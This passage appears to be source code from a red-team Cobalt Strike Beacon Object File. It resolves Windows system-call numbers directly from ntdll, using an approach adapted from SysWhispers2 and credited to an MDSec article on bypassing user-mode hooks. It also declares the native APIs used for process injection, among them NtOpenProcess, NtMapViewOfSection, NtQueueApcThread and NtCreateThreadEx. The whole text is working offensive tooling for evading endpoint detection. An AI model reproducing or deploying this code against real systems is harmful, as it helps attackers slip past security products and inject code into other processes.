if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue;
if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break;
}
if (!ExportDirectory) return FALSE;
DWORD NumberOfNames = ExportDirectory->NumberOfNames;
PDWORD Functions = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
PDWORD Names = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
PWORD Ordinals = SW2_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
// Populate SW2_SyscallList with unsorted Zw* entries.
DWORD i = 0;
PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries;
do
{
PCHAR FunctionName = SW2_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
// Is this a system call?
if (*(USHORT*)FunctionName == 0x775a)
{
Entries[i].Hash = SW2_HashSyscall(FunctionName);
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
i++;
if (i == SW2_MAX_ENTRIES) break;
}
} while (--NumberOfNames);
// Save total number of system calls found.
SW2_SyscallList.Count = i;
// Sort the list by address in ascending order.
for (DWORD i = 0; i < SW2_SyscallList.Count - 1; i++)
{
for (DWORD j = 0; j < SW2_SyscallList.Count - i - 1; j++)
{
if (Entries[j].Address > Entries[j + 1].Address)
{
// Swap entries.
SW2_SYSCALL_ENTRY TempEntry;
TempEntry.Hash = Entries[j].Hash;
TempEntry.Address = Entries[j].Address;
Entries[j].Hash = Entries[j + 1].Hash;
Entries[j].Address = Entries[j + 1].Address;
Entries[j + 1].Hash = TempEntry.Hash;
Entries[j + 1].Address = TempEntry.Address;
}
}
}
return TRUE;
}
EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash)
{
if (!SW2_PopulateSyscallList())
{
BeaconPrintf(CALLBACK_ERROR, "SW2_PopulateSyscallList failed\n");
return -1;
}
for (DWORD i = 0; i < SW2_SyscallList.Count; i++)
{
if (FunctionHash == SW2_SyscallList.Entries[i].Hash)
{
return i;
}
}
BeaconPrintf(CALLBACK_ERROR,"syscall with hash 0x%lx not found\n", FunctionHash);
return -1;
}
+223
View File
@@ -0,0 +1,223 @@
#pragma once
// Code below is adapted from @modexpblog. Read linked article for more details.
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
#ifndef SW2_HEADER_H_
#define SW2_HEADER_H_
#include <windows.h>
//#include "beacon.h"
#include "syscalls-asm.h"
#ifdef _WIN64
#define ULONGSIZE ULONG64
#else
#define ULONGSIZE ULONG32
#endif
#ifdef _WIN64
#define PEB_OFFSET 0x60
#define READ_MEMLOC __readgsqword
#else
#define PEB_OFFSET 0x30
#define READ_MEMLOC __readfsdword
#endif
#define SW2_SEED 0x655E97F3
#define SW2_ROL8(v) (v << 8 | v >> 24)
#define SW2_ROR8(v) (v >> 8 | v << 24)
#define SW2_ROX8(v) ((SW2_SEED % 2) ? SW2_ROL8(v) : SW2_ROR8(v))
#define SW2_MAX_ENTRIES 500
#define SW2_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
#define STATUS_SUCCESS 0x00000000
#ifndef InitializeObjectAttributes
#define InitializeObjectAttributes( p, n, a, r, s ) { \
(p)->Length = sizeof( OBJECT_ATTRIBUTES ); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
#endif
typedef struct _SW2_LDR_DATA_TABLE_ENTRY {
PVOID Reserved1[2];
LIST_ENTRY InMemoryOrderLinks;
PVOID Reserved2[2];
PVOID DllBase;
} SW2_LDR_DATA_TABLE_ENTRY, *PSW2_LDR_DATA_TABLE_ENTRY;
typedef struct _SW2_SYSCALL_ENTRY
{
DWORD Hash;
DWORD Address;
} SW2_SYSCALL_ENTRY, *PSW2_SYSCALL_ENTRY;
typedef struct _SW2_SYSCALL_LIST
{
DWORD Count;
SW2_SYSCALL_ENTRY Entries[SW2_MAX_ENTRIES];
} SW2_SYSCALL_LIST, *PSW2_SYSCALL_LIST;
typedef struct _SW2_PEB_LDR_DATA {
BYTE Reserved1[8];
PVOID Reserved2[3];
LIST_ENTRY InMemoryOrderModuleList;
} SW2_PEB_LDR_DATA, *PSW2_PEB_LDR_DATA;
typedef struct _SW2_PEB {
BYTE Reserved1[2];
BYTE BeingDebugged;
BYTE Reserved2[1];
PVOID Reserved3[2];
PSW2_PEB_LDR_DATA Ldr;
} SW2_PEB, *PSW2_PEB;
typedef struct _PS_ATTRIBUTE
{
ULONG Attribute;
SIZE_T Size;
union
{
ULONG Value;
PVOID ValuePtr;
} u1;
PSIZE_T ReturnLength;
} PS_ATTRIBUTE, *PPS_ATTRIBUTE;
typedef enum _SECTION_INHERIT
{
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT, *PSECTION_INHERIT;
typedef struct _PS_ATTRIBUTE_LIST
{
SIZE_T TotalLength;
PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST;
typedef VOID(KNORMAL_ROUTINE) (
IN PVOID NormalContext,
IN PVOID SystemArgument1,
IN PVOID SystemArgument2);
typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
typedef struct _IO_STATUS_BLOCK
{
union
{
NTSTATUS Status;
VOID* Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;
typedef VOID(NTAPI* PIO_APC_ROUTINE) (
IN PVOID ApcContext,
IN PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG Reserved);
EXTERN_C NTSTATUS NtCreateSection(
OUT PHANDLE SectionHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN PLARGE_INTEGER MaximumSize OPTIONAL,
IN ULONG SectionPageProtection,
IN ULONG AllocationAttributes,
IN HANDLE FileHandle OPTIONAL) asm("NtCreateSection");
EXTERN_C NTSTATUS NtQueueApcThread(
IN HANDLE ThreadHandle,
IN PKNORMAL_ROUTINE ApcRoutine,
IN PVOID ApcArgument1 OPTIONAL,
IN PVOID ApcArgument2 OPTIONAL,
IN PVOID ApcArgument3 OPTIONAL) asm("NtQueueApcThread");
EXTERN_C NTSTATUS NtOpenProcess(
OUT PHANDLE ProcessHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL) asm("NtOpenProcess");
EXTERN_C NTSTATUS NtAlertThread(
IN HANDLE ThreadHandle) asm("NtAlertThread");
EXTERN_C NTSTATUS NtUnmapViewOfSection(
IN HANDLE ProcessHandle,
IN PVOID BaseAddress) asm("NtUnmapViewOfSection");
EXTERN_C NTSTATUS NtMapViewOfSection(
IN HANDLE SectionHandle,
IN HANDLE ProcessHandle,
IN OUT PVOID BaseAddress,
IN ULONG ZeroBits,
IN SIZE_T CommitSize,
IN OUT PLARGE_INTEGER SectionOffset OPTIONAL,
IN OUT PSIZE_T ViewSize,
IN SECTION_INHERIT InheritDisposition,
IN ULONG AllocationType,
IN ULONG Win32Protect) asm("NtMapViewOfSection");
EXTERN_C NTSTATUS NtResumeThread(
IN HANDLE ThreadHandle,
IN OUT PULONG PreviousSuspendCount OPTIONAL) asm("NtResumeThread");
EXTERN_C NTSTATUS NtCreateThreadEx(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ProcessHandle,
IN PVOID StartRoutine,
IN PVOID Argument OPTIONAL,
IN ULONG CreateFlags,
IN SIZE_T ZeroBits,
IN SIZE_T StackSize,
IN SIZE_T MaximumStackSize,
IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL) asm("NtCreateThreadEx");
EXTERN_C NTSTATUS NtClose(
IN HANDLE Handle) asm("NtClose");
#endif
void mymemcopy(char * dst, const char * src, int size) {
int x;
for (x = 0; x < size; x++) {
*dst = *src;
dst++;
src++;
}
}
DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentProcess(VOID);
DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$IsWow64Process(HANDLE hProcess, PBOOL Wow64Process);